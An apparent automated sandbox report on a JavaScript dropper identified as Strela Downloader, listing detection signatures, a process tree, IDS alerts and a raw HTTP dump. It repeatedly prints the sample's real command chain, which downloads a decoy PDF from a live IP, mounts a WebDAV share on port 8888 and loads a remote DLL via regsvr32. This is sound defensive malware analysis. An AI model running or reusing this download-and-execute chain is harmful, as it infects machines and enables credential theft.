Edit tour

Windows Analysis Report
91263130946456752.js

Overview

General Information

Sample name:	91263130946456752.js
Analysis ID:	1588942
MD5:	4c4f257a98bb8babe7ed7dafb9d25369
SHA1:	9b5422723f3a130a8f7440a3f2a720994ce9683e
SHA256:	241d0b93d082223db75d9c7a0c4025bbf54fd332b51afb73022a1becb54331ba
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7264 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\91263130946456752.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7360 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9330229585553.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7368 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7412 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7616 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7876 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 8080 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2084 --field-trial-handle=1652,i,8447043099756402712,18323641986116161168,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7632 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7652 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7940 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7264	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9330229585553.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7360, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7412, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9330229585553.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7360, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7412, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\91263130946456752.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\91263130946456752.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\91263130946456752.js", ProcessId: 7264, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7652, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9330229585553.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9330229585553.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\91263130946456752.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7264, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9330229585553.dll, ProcessId: 7360, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9330229585553.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9330229585553.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\91263130946456752.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7264, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9330229585553.dll, ProcessId: 7360, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9330229585553.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9330229585553.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\91263130946456752.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7264, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9330229585553.dll, ProcessId: 7360, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9330229585553.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9330229585553.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\91263130946456752.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7264, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9330229585553.dll, ProcessId: 7360, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9330229585553.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9330229585553.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\91263130946456752.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7264, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9330229585553.dll, ProcessId: 7360, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\91263130946456752.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\91263130946456752.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\91263130946456752.js", ProcessId: 7264, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9330229585553.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7360, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7412, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7632, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7652, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7940, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7632, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7652, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9330229585553.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9330229585553.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\91263130946456752.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7264, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9330229585553.dll, ProcessId: 7360, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T07:28:55.999712+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T07:28:58.326534+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T07:28:55.999712+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 91263130946456752.js

Virustotal: Detection: 11%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 91263130946456752.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 91263130946456752.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.5:49704 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49705 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 06:28:55 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

